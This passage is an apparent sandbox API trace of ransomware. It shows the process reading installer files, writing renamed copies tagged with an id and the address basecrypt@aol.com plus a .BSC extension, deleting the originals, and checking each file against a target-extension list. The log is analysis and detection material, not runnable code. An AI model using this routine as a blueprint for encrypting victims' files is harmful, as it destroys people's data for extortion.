[0102.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.563] GetLastError () returned 0x0 [0102.563] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xdc6, lpOverlapped=0x0) returned 1 [0102.648] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xdd0, lpOverlapped=0x0) returned 1 [0102.650] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.650] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.650] SetEndOfFile (hFile=0x344) returned 1 [0102.650] CloseHandle (hObject=0x344) returned 1 [0102.651] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.651] SetEndOfFile (hFile=0x33c) returned 1 [0102.652] CloseHandle (hObject=0x33c) returned 1 [0102.652] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.653] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0102.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.653] lstrlenW (lpString=".doc") returned 4 [0102.653] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.653] lstrlenW (lpString=".docx") returned 5 [0102.653] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.653] lstrlenW (lpString=".pdf") returned 4 [0102.654] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.654] lstrlenW (lpString=".xls") returned 4 [0102.654] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.654] lstrlenW (lpString=".xlsx") returned 5 [0102.654] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.654] lstrlenW (lpString=".ppt") returned 4 [0102.654] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.654] lstrlenW (lpString=".zip") returned 4 [0102.654] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.654] lstrlenW (lpString=".rar") returned 4 [0102.654] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.654] lstrlenW (lpString=".bz2") returned 4 [0102.654] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.654] lstrlenW (lpString=".7z") returned 3 [0102.654] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.654] lstrlenW (lpString=".dbf") returned 4 [0102.654] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.654] lstrlenW (lpString=".1cd") returned 4 [0102.654] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.655] lstrlenW (lpString=".jpg") returned 4 [0102.655] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.655] lstrlenW (lpString=".doc") returned 4 [0102.655] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.655] lstrlenW (lpString=".docx") returned 5 [0102.655] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.655] lstrlenW (lpString=".pdf") returned 4 [0102.655] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.655] lstrlenW (lpString=".xls") returned 4 [0102.655] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.655] lstrlenW (lpString=".xlsx") returned 5 [0102.655] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.655] lstrlenW (lpString=".ppt") returned 4 [0102.655] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.655] lstrlenW (lpString=".zip") returned 4 [0102.655] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.655] lstrlenW (lpString=".rar") returned 4 [0102.655] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.655] lstrlenW (lpString=".bz2") returned 4 [0102.655] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.656] lstrlenW (lpString=".7z") returned 3 [0102.656] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.656] lstrlenW (lpString=".dbf") returned 4 [0102.656] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.656] lstrlenW (lpString=".1cd") returned 4 [0102.656] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0102.656] lstrlenW (lpString=".jpg") returned 4 [0102.656] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.656] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.656] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.656] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=86442) returned 1 [0102.656] CloseHandle (hObject=0x33c) returned 1 [0102.656] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0102.657] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.657] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.657] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.657] GetLastError () returned 0x0 [0102.657] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x151aa, lpOverlapped=0x0) returned 1 [0102.683] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x151b0, lpOverlapped=0x0) returned 1 [0102.685] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.685] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.685] SetEndOfFile (hFile=0x344) returned 1 [0102.685] CloseHandle (hObject=0x344) returned 1 [0102.687] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.687] SetEndOfFile (hFile=0x33c) returned 1 [0102.688] CloseHandle (hObject=0x33c) returned 1 [0102.688] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.689] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0102.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.689] lstrlenW (lpString=".doc") returned 4 [0102.689] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.689] lstrlenW (lpString=".docx") returned 5 [0102.689] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.689] lstrlenW (lpString=".pdf") returned 4 [0102.689] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.689] lstrlenW (lpString=".xls") returned 4 [0102.689] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.689] lstrlenW (lpString=".xlsx") returned 5 [0102.689] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.689] lstrlenW (lpString=".ppt") returned 4 [0102.690] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.690] lstrlenW (lpString=".zip") returned 4 [0102.690] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.690] lstrlenW (lpString=".rar") returned 4 [0102.690] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString=".bz2") returned 4 [0102.690] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString=".7z") returned 3 [0102.690] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.690] lstrlenW (lpString=".dbf") returned 4 [0102.690] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.690] lstrlenW (lpString=".1cd") returned 4 [0102.690] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.690] lstrlenW (lpString=".jpg") returned 4 [0102.690] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.690] lstrlenW (lpString=".doc") returned 4 [0102.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString=".docx") returned 5 [0102.690] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.690] lstrlenW (lpString=".pdf") returned 4 [0102.690] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString=".xls") returned 4 [0102.690] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.690] lstrlenW (lpString=".xlsx") returned 5 [0102.690] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.691] lstrlenW (lpString=".ppt") returned 4 [0102.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.691] lstrlenW (lpString=".zip") returned 4 [0102.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.691] lstrlenW (lpString=".rar") returned 4 [0102.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.691] lstrlenW (lpString=".bz2") returned 4 [0102.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.691] lstrlenW (lpString=".7z") returned 3 [0102.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.691] lstrlenW (lpString=".dbf") returned 4 [0102.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.691] lstrlenW (lpString=".1cd") returned 4 [0102.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0102.691] lstrlenW (lpString=".jpg") returned 4 [0102.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.691] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.691] lstrlenW (lpString="eula.rtf") returned 8 [0102.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.692] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=10125) returned 1 [0102.692] CloseHandle (hObject=0x33c) returned 1 [0102.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0102.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.692] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.692] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.692] GetLastError () returned 0x0 [0102.692] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x278d, lpOverlapped=0x0) returned 1 [0102.828] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x2790, lpOverlapped=0x0) returned 1 [0102.829] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.829] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.830] SetEndOfFile (hFile=0x344) returned 1 [0102.830] CloseHandle (hObject=0x344) returned 1 [0102.832] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.832] SetEndOfFile (hFile=0x33c) returned 1 [0102.836] CloseHandle (hObject=0x33c) returned 1 [0102.836] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.837] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0102.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.837] lstrlenW (lpString=".doc") returned 4 [0102.837] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.837] lstrlenW (lpString=".docx") returned 5 [0102.837] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.837] lstrlenW (lpString=".pdf") returned 4 [0102.837] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.837] lstrlenW (lpString=".xls") returned 4 [0102.837] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.837] lstrlenW (lpString=".xlsx") returned 5 [0102.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.837] lstrlenW (lpString=".ppt") returned 4 [0102.837] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.837] lstrlenW (lpString=".zip") returned 4 [0102.837] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.837] lstrlenW (lpString=".rar") returned 4 [0102.837] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.837] lstrlenW (lpString=".bz2") returned 4 [0102.837] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.837] lstrlenW (lpString=".7z") returned 3 [0102.837] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.837] lstrlenW (lpString=".dbf") returned 4 [0102.838] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.838] lstrlenW (lpString=".1cd") returned 4 [0102.838] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.838] lstrlenW (lpString=".jpg") returned 4 [0102.838] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.838] lstrlenW (lpString=".doc") returned 4 [0102.838] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString=".docx") returned 5 [0102.838] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.838] lstrlenW (lpString=".pdf") returned 4 [0102.838] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString=".xls") returned 4 [0102.838] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.838] lstrlenW (lpString=".xlsx") returned 5 [0102.838] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.838] lstrlenW (lpString=".ppt") returned 4 [0102.838] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.838] lstrlenW (lpString=".zip") returned 4 [0102.838] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.838] lstrlenW (lpString=".rar") returned 4 [0102.838] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString=".bz2") returned 4 [0102.838] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.838] lstrlenW (lpString=".7z") returned 3 [0102.838] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.838] lstrlenW (lpString=".dbf") returned 4 [0102.839] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.839] lstrlenW (lpString=".1cd") returned 4 [0102.839] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0102.839] lstrlenW (lpString=".jpg") returned 4 [0102.839] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.839] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.839] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.839] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=65238) returned 1 [0102.839] CloseHandle (hObject=0x33c) returned 1 [0102.839] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0102.839] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.840] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.840] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.840] GetLastError () returned 0x0 [0102.840] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xfed6, lpOverlapped=0x0) returned 1 [0102.892] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xfee0, lpOverlapped=0x0) returned 1 [0102.896] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.896] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.896] SetEndOfFile (hFile=0x344) returned 1 [0102.896] CloseHandle (hObject=0x344) returned 1 [0102.898] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.898] SetEndOfFile (hFile=0x33c) returned 1 [0102.900] CloseHandle (hObject=0x33c) returned 1 [0102.900] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.900] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0102.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.900] lstrlenW (lpString=".doc") returned 4 [0102.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.900] lstrlenW (lpString=".docx") returned 5 [0102.900] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.900] lstrlenW (lpString=".pdf") returned 4 [0102.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.900] lstrlenW 